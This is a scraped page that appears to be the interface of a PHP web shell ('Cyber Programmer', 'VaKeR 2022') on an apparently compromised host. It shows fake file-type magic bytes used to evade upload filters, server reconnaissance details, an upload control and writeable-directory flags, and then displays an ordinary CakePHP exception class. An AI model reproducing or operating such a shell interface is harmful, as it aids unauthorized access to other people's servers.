%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakephp/cakephp/src/ORM/Exception/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakephp/cakephp/src/ORM/Exception/PersistenceFailedException.php
<?php
/**
 * CakePHP(tm) : Rapid Development Framework (https://cakephp.org)
 * Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org)
 *
 * Licensed under The MIT License
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org)
 * @since         3.4.0
 * @license       https://opensource.org/licenses/mit-license.php MIT License
 */
namespace Cake\ORM\Exception;

use Cake\Core\Exception\Exception;
use Cake\Datasource\EntityInterface;

/**
 * Used when a strict save or delete fails
 */
class PersistenceFailedException extends Exception
{

    /**
     * The entity on which the persistence operation failed
     *
     * @var \Cake\Datasource\EntityInterface
     */
    protected $_entity;

    /**
     * {@inheritDoc}
     */
    protected $_messageTemplate = 'Entity %s failure.';

    /**
     * Constructor.
     *
     * @param \Cake\Datasource\EntityInterface $entity The entity on which the persistence operation failed
     * @param string|array $message Either the string of the error message, or an array of attributes
     *   that are made available in the view, and sprintf()'d into Exception::$_messageTemplate
     * @param int $code The code of the error, is also the HTTP status code for the error.
     * @param \Exception|null $previous the previous exception.
     */
    public function __construct(EntityInterface $entity, $message, $code = null, $previous = null)
    {
        $this->_entity = $entity;
        if (is_array($message)) {
            $errors = [];
            foreach ($entity->getErrors() as $field => $error) {
                $errors[] = $field . ': "' . $this->buildError($error) . '"';
            }
            if ($errors) {
                $message[] = implode(', ', $errors);
                $this->_messageTemplate = 'Entity %s failure (%s).';
            }
        }
        parent::__construct($message, $code, $previous);
    }

    /**
     * @param string|array $error Error message.
     * @return string
     */
    protected function buildError($error)
    {
        if (!is_array($error)) {
            return $error;
        }

        $errors = [];
        foreach ($error as $key => $message) {
            $errors[] = is_int($key) ? $message : $key;
        }

        return implode(', ', $errors);
    }

    /**
     * Get the passed in entity
     *
     * @return \Cake\Datasource\EntityInterface
     */
    public function getEntity()
    {
        return $this->_entity;
    }
}

VaKeR 2022